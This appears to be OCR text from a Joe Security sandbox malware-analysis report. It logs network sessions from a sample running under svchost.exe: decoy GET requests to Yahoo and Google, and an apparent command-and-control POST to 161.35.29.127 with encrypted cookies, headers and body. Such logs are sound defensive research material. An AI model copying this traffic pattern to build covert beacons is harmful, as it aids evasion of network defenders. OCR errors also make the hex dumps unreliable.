HTTP/1.1 200 OK

Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Connection: close

Date: Tue, 28 Sep 2021 07:54:31 GMT
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block

Destination IP Destination Port Process
87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /ce8pX23qvo5migEd8oviwwzelsudj/b6lmlga2dlzarfp3ael/XnveevdmckesKzXGtKzdgje8s/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5
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kBytes
Timestamp transferred

2021-09-28 07:54:29 UTC 1083

2021-09-28 07:54:29 UTC 1085

2021-09-28 07:54:29 UTC 1085

Session ID Source IP

87 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:30 UTC 1086

2021-09-28 07:54:30 UTC 1086

2021-09-28 07:54:30 UTC 1086

2021-09-28 07:54:30 UTC 1087

Copyright Joe Security LLC 2021

Direction

IN

Source Port
50049

Direction
ouT

Data

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:54:29 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

x-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 9

server: ATS

Content-Length: 724

Age: 0

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.0ath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=0rbkac9gl5ihl&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢c 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 32 39 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d Oa 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2¢ 20 72 65 70 6f
7274 2d 7572 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
727265 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:29 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 3c 68 74 6d 6c 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70
743e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
65 72 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 63 65
387058 32 33 71 76 6f 35 6d 6¢ 71 45 64 38 6f 76 39 77 77 7a 65 31 73 75 64 6a 25 32 66 62 36 6¢ 6d 6¢ 71 61 32 64 31
7a 617266 70 33 61 65 31 25 32 66 58 6e 76 65 65 76 34 6d 63 6b 65 73 4b 7a 58 47 74 4b 7a 64 67 6a 65 38 73 25 32
66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b Oa 20 20 64 6f 63 75 6d 65 6e 74 2e 77
7269 74 65 28 27 3c 70 3e 43 6f 6e 74 65 6e 74 20 69 73

Data Ascii: <html><meta charset="utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2{%2fww
w.yahoo.com%2fce8pX23qvo5mlgEd8ovowwzelsudj%2fb6imlga2dizarfp3ae1%2fXnveevamckesKzXGtKzdgje8s%2f';if
(window!=window.top){ document.write('<p>Content is

Destination IP  Destination Port Process
142.250.185.196 443 C:\Windows\System32\svchost.exe

Data

GET /epmo7qZbPmgXfDGMjQibb/4u63rm5ZwhDwjsS72ioihcXB02q0yb5znrcAhkgn/niukNkhseiCa5pxbQJpl5sh3qjk8yzawW
s30z6gxrksdz91p/stpPyu3xk7f8saR9zt4U3HZTPON2zncl6l/yned6fc0ZIgwgeUyfmmSx5d4lytj4Viz0Ojy/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.google.com

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1743

Date: Tue, 28 Sep 2021 07:54:30 GMT

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65
74612063 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2¢ 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3¢ 74 69 74 6¢ 65 3e 45 72 72 6f 7
220 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3c 73 74 79 6¢ 65 3e 0a 20 2
02020 2a7b6d61 7267 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6 74 3a 31
357078 2f 323270 78 20 61 72 69 61 6¢ 2¢c 73 61 6e 73 2d 73 65

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
de{font:15px/22px arial,sans-se

Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25
2031 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65
2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6C
6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63
72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69
6f 3232 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f
6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e

Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/g
ooglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo
{background:url(//www.google.com/images/brandin
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Session ID Source IP

88 192.168.2.3
kBytes
Timestamp transferred

2021-09-28 07:54:30 UTC 1088

2021-09-28 07:54:30 UTC 1088

2021-09-28 07:54:30 UTC 1090

2021-09-28 07:54:30 UTC 1090

Session ID Source IP

89 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:30 UTC 1090

Copyright Joe Security LLC 2021

Source Port

50050

Direction

ouT

Source Port
50052

Direction
ouT

Destination IP Destination Port Process

87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /8xnsjp0e26mtLcQ22sucoufkvdbm/ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:54:30 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

X-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 9

server: ATS

Content-Length: 622

Age: 0

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.oath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=b5kvgvpgl5ihm&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢ 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 33 30 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f
72742d 7572 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
7272 65 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:30 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 3c 68 74 6d 6c 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70
743e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
65 72 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 38 78
6e 73 6a 70 30 65 32 36 6d 74 4c 63 51 32 32 73 75 63 6f 75 66 6b 76 64 62 6d 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f
77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70 3e 43 6f 6e
74 65 6e 74 20 69 73 20 63 75 72 72 65 6e 74 6¢ 79 20 75 6e 61 76 61 69 6¢ 61 62 6¢ 65 2e 3¢ 2f 70 3e 3c 69 6d 67 20 73
72 63 3d 22 2f 2f 67 65 6f 2e 79 61 68 6f 6f 2e 63 6f

Data Ascii: <html><meta charset="utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fww
w.yahoo.com%2f8xnsjp0e26mtLcQ22sucoufkvdbm%2f';if(window!=window.top){ document.write('<p>Content is currently
unavailable.</p><img src="//geo.yahoo.co

Destination IP  Destination Port Process
87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /ALgbzn5v5409mLy2/D3sswzdzd0Zg2606cT4ftm9bsgl6g9clzb/6qmI9yxj2pVRh1gsm5ms1fdéwezX6Li8tl/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5
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kBytes
Timestamp transferred

2021-09-28 07:54:31 UTC 1091

2021-09-28 07:54:31 UTC 1092

2021-09-28 07:54:31 UTC 1092

Session ID Source IP

9 192.168.2.3
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49885

Direction

Data

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:54:30 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBI IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

X-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 10

server: ATS

Content-Length: 746

Age: 2

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self* https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.oath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=7qfs3vigl5ihm&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢c 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 34 3a 33 31 20 47 4d 54
3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50
61 74 68 3d 2f 0d Oa 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2¢ 20 72 65 70 6f
7274 2d 7572 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73
72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6¢ 79 22 0d Oa 52 65 66 65
727265 72 2d 50 6f 6¢ 69 63 79 3a 20 6e 6f 2d 72 65 66

Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:54:31 GMT; Max-Age=31557600;
Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=y
ahoocom-expect-ct-report-only“Referrer-Policy: no-ref

Data Raw: 3¢ 68 74 6d 6¢ 3e Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e Oa 3c 73 63 72 69 70
74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26
65 72 72 5f 75 72 6¢ 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 41 4c
67 62 7a 6e 35 76 35 34 6f 39 6d 4c 79 32 25 32 66 44 33 73 73 77 7a 64 7a 64 30 5a 67 32 36 4f 36 63 54 34 66 74 6d 39
62 73 67 6¢ 36 67 39 63 6¢ 7a 62 25 32 66 36 71 6d 6¢ 39 79 78 6a 32 70 56 52 68 31 67 73 6d 35 6d 73 31 66 64 36 77
65 7a 58 36 4c 69 38 74 49 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b Oa 20
20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70

Data Ascii: <html><meta charset="utf-8'><script>var u="https://www.yahoo.com/?err=404&err_url=https%3a%2{%2fww
w.yahoo.com%2fALgbzn5v5409mLy2%2fD3sswzdzd0Zg2606cT4ftm9bsgl6g9clzb%2f6qml9yxj2pVRh1gsm5ms
1fdéwezX6Li8t1%2f';if(window!=window.top){ document.write('<p

Destination IP  Destination Port Process
161.35.29.127 443 C:\Windows\System32\svchost.exe

Data
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kBytes
Timestamp transferred

2021-09-28 07:53:44 UTC 892

2021-09-28 07:53:44 UTC 895

2021-09-28 07:53:47 UTC 904

Session ID Source IP

90 192.168.2.3
kBytes

Timestamp transferred

2021-09-28 07:54:32 UTC 1093

Copyright Joe Security LLC 2021

Direction

ouT

ouT

Source Port
50053

Direction
ouT

Data

POST /feed/news/last HTTP/1.1

Cookie: HSID=26C3GhD%2F5BvcIm%2FaRUj469%2BHJIwmyB8mjSiHpJ9n1AmJOO0XMiyT%2FHU9pikVOrrJuiQ%2B
KwOBKOYbVEmMZUX9S8MCLVrbulgMi5qdwkH4pWx36ldau7CfiWqSTzRTFIQtgz%2Fanh3V%2FeswkDrF8jHgmTHpTZo
rVNTOIi%2FIICX2c5cwXExc8E3ap0geRWUrQEOrJfRhsxA31v2irgTyNZfQkn1SFsdXrRUIPZfthM%2FrWtmBEBmfira
amHFOz8RzpfPiYyTt4%2Bdeuifl9cFoYzlygecnMFVkbuEV6dGJ1Y%2BZm%2BWmIP3zEH3BoDJVhmXrcjAl3270R93k
QtXXYc3gwz%2FW4MrdO3Q%3D%3D;SIDCC=ISeCUY SVOv8VcVMwxtloSynh3%2BQLCa9BxWZgg469G%2B
hytQCJONfevOXSZ9EtPURg%2BiofOl62bEQahpm2%2BnSzIXSIrOgWgQoZtV%2F62NZ535DbWzkdb3FnLTWYJYflz
JKpJBs3zdt4KtO8x9Q%2BUSEWhRODhvzARN70dHKLfIAVNaqllzYsaWekQL8BF%2BGd5H808aFqQKRU3NftUmoL97L
30zRiKpXR9dyv1Pv7PB0C7ghxJh67xHFhOpkVIciw67akWpmbMvcg6pFIJFBXb085SxdyJKeUoJW%2FaCojWx%2FXO
1P2%2Fdz0LMps9EZt5VIdIVXZhP7TEBd4TIL3X1NJfs8mQ%3D%3D;SID=IAobq7knjLXZHOfr ThixR3R%2FGzarfTT
jivDhyJzADngrxiJSDMbOKLurPbm0OKOeg8T7BrPR%2FJ8%2FRQA2igOnINJuwL3kt9Q%2BAhvc4SbTyR%2Bk7mporY
mNiYm3gTJYw3yW5IU7%2Ft1unL8gXf389HdeJ9HoEBqWSV%2FoSgUpEKHM5pgzy F7uJSkipK3apNISvCk8%2B0Isqr
mZWeVLsYIbHQI31%2BB2KMKdRgXiHiZBRuy2Mc7QNWPmMrVHv5z5mOTLGLStbOMIT7w6zkqpUEOYHw1YxoqFInpg9Y1
D2yzXcrY127e%2FCdXBOAHY%2FmarmtwYHCYsHLcSRG3QCUO1e%2FuRKTU9IXCnA%3D%3D;SSID=vRU3|
fkSmOrrNIGXooc8LX7EP3GK%2BgmSmITIse9NpQASFioa0TK7uN3k3wU%2BuHiPjcrkYMEOavIWNjmT1pyr%2FfZoG
5TelgCmCOIYhNsCYy4NhbWTOmqcllSVW4pXPefFvzg6%2BMv555HUPIXEeKSWWM%2B4%2FKc08N72G0a
mzza0tJZqdZY%2FL9EfkhYq11%2Bsw4TBCjcZwU3EGq3Ujx0riyzexZ%2B97qPBIcLRET41fcBP8Kk8Wc7ImZ%2BDZ
ErbVOrkK6hoXG15AuljSHdX4NIOIOjrEBXsDaZgWXEWhr4Cv50N%2FYAAAz43GtVjj3d8hcUIMANZW2KygbEg55%2F T
JVL031A3e5w%3D%3D;

X-Tag: GKDUKTTtNgMbEg6JF4leM%2FIRDgZZ8fr4b%2FK%2F3T7GPN2wUyXHelNhKLssK6qO%2F7FvZWKYu60E4tK
QIX6FMgP9j%2BLv3BafCPMRulOyEn6rvGIAVOBggR1KYEPZImjuQ%2Fpdo9t7uFFHASt1zFUhezbztoOlIBEq%2B4l
sTgevOZYapNv9bbYNaADCcBwalPpZBQlxxwnOhRdmJclldmUod%2BBVymix3xr%2F35D4iFHOD623jhpYdggXaWE6o
0ibUWOfEBKXUkr%2Bre5Dx4rm4R3PVEF%2FZi2JNYE9361DQNHhUX0%2FsSEUixJn4sEdZPscSC8RIfM39AgTM0OO7a
AECHOQMQsCCyA%3D%3D

X-Csrf-Token: pkorhNi3dw441tWGjFIMuo1BMR9uyepEb%2F8NS730w%2BRLj4IGY2UN5SDQIRUWhMVv93Xpogq%2Bq
0gmvWm7mH6rGgLh1fHiJs696m%2Bn71IK%2FIH3SL8DjQoudU8OTbRcI65ge TZwOhllpkOoflghLLn%2FBLWhaizeu
06%2BBM6holqaWk1dOj%2BURGHBFWpOTgU4DGU1kIKBtxtCV5EfuEINYRNAUhRASgaE40ZZyOWCMW%2F
ZOCiZLdR]Tec8%2FjN8i4RhIxloQVLANY5FKSk59jQ%2FkKZJVMOHVIuosLi%2BoGuXp3UNHs9dYhNZF6p3HJIdjSgZ
692nclgHS8gxU7650AjvIXW3{82x0Q%3D%3D

X-Request-ID: JGsFa7ujg3TiEv02fcTjlbxzX7Yv7kmA8TbCXYdD3B5u8tuQ5K2eKufgMCUGr2c70C11t35NHUO
9GYVZuRImAXgozzsFQZOUghzzhf3BJqicm0a09U20f3rW8PGW42PIRKBOsbOF2G{Bj%2BRMGthhTKCOQwiO0Lo0TD4
nOItFsg%2FB2RIMSpWd0%2BYzL75rb5Sdp7KEBCr5w72Dffd095JUhCyqGAMCPIdCgjtSv6Fjo0%2FyfsOFGsbFDMC
Qt47%2BExtPJhJIC57ei266EGavFKOYyAKNCUBrQhGZITFo598YIbhuLU9AXHS1IEIm10ELMc8GDm6LjcS58enrYHgF
iVCKVg%3D%3D

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: 161.35.29.127

Content-Length: 256

Cache-Control: no-cache

Data Raw: 2c 25 55 81 29 2a e4 6d af 11 d1 45 f1 21 4c 72 ad cf 35 15 66 57 el 19 fb 78 7e bd 91 5e 82 36 86 54 43 1b
22 8b df c5 bd f3 fc 5f 4c ce 8b d7 fb 45 dO Ob 00 3c b4 00 56 58 d0 48 55 07 3d 5 c4 e3 48 70 Oe 56 9e 87 3f 0a a0 78 7a
67 d1 90 60 17 47 3b 9f Ob 86 f9 d3 b9 Oe f2 9a cd a7 55 bb 29 9b c2 f2 db cb bb 04 36 29 1c c2 6a Oe e5 77 3f 49 f3 cb 79
90 08 c0 ca 96 80 e2 92 cd ed 59 a4 2f 28 80 86 99 da 9c 23 05 e3 17 d2 bd 3a 1d 74 5f af ed f1 6f 2d e0 a2 3a 45 66 44
b9 6¢ 2d 36 cc 87 59 88 64 ed €9 e4 05 f7 19 06 73 87 81 9a 2f b4 c7 ad 19 fa 3c 30 74 14 a4 09 48 5a fc f6 9e 75 91 a8
a6 2d 6d 2c 7e c7 3 87 ff 13 ea c9 3e 36 b2 7e 21 ae aa 81 4d 30 72 71 18 Oa 4d 56 26 a8 37 89 7b 6f 25 a6 c6 9a 81 dd
81 le 7d a0 Ob fe 05 58 ba 63 ed 60 93 6e 7d fa 7e

Data Ascii: ,%U)*mEILI5fWx~"6TC"_LE<VXHU=HpV?xzg G;U)6)jw?lyY/(#:t_o-:EfDI-6Yds/<OtHZu-m,~>6~!MOrqMV
&7{0%}Xc n}~

HTTP/1.1 200 OK

Server: nginx/1.18.0 (Ubuntu)

Content-Type: text/html; charset=UTF-8

Connection: close

Date: Tue, 28 Sep 2021 07:53:46 GMT

X-Frame-Options: DENY

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Destination IP  Destination Port Process

87.248.100.216 443 C:\Windows\System32\svchost.exe

Data

GET /3pRpmng8naqtfeVmyfv/IsnrmuglfwddxUu77hkn3izm278644nsshk/H6uvs2jgz5moyoix6s3Z4oudpot87vw/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169
Safari/537.36

Host: www.yahoo.com

Connection: Keep-Alive

Cookie: B=clggcmtgl5iga&b=3&s=a5
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kBytes
Timestamp transferred

2021-09-28 07:54:32 UTC 1097

2021-09-28 07:54:32 UTC 1098

2021-09-28 07:54:32 UTC 1098

Session ID Source IP

91 192.168.2.3
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port

50054

Direction

Data

HTTP/1.1 404 Not Found

date: Tue, 28 Sep 2021 07:54:32 GMT

p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi
CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL
HEA PRE LOC GOV"

cache-control: private

X-content-type-options: nosniff

content-type: text/html; charset=UTF-8

X-envoy-upstream-service-time: 8

server: ATS

Content-Length: 748

Age: 0

Connection: close

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: frame-ancestors 'self' https://*.builtbygirls.com https://*.rivals.com https://*.engadget.com https://*.i
ntheknow.com https://*.autoblog.com https://*.techcrunch.com https://*.yahoo.com https://*.aol.com https://*.huffingtonp
ost.com https://*.oath.com https://*.search.yahoo.com https://*.search.aol.com https://*.search.huffpost.com https://*.v
erizonmedia.com https://*.publishing.oath.com https://*.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts
allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&si
te=frontpage&region=US&lang=en-US&device=desktop&yrid=7a39eshgl5iho&partner=;

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6¢c 67 67 63 6d 74 67 6¢ 35 69 67 61 26 62 3d 33 26 73 3d 61 35
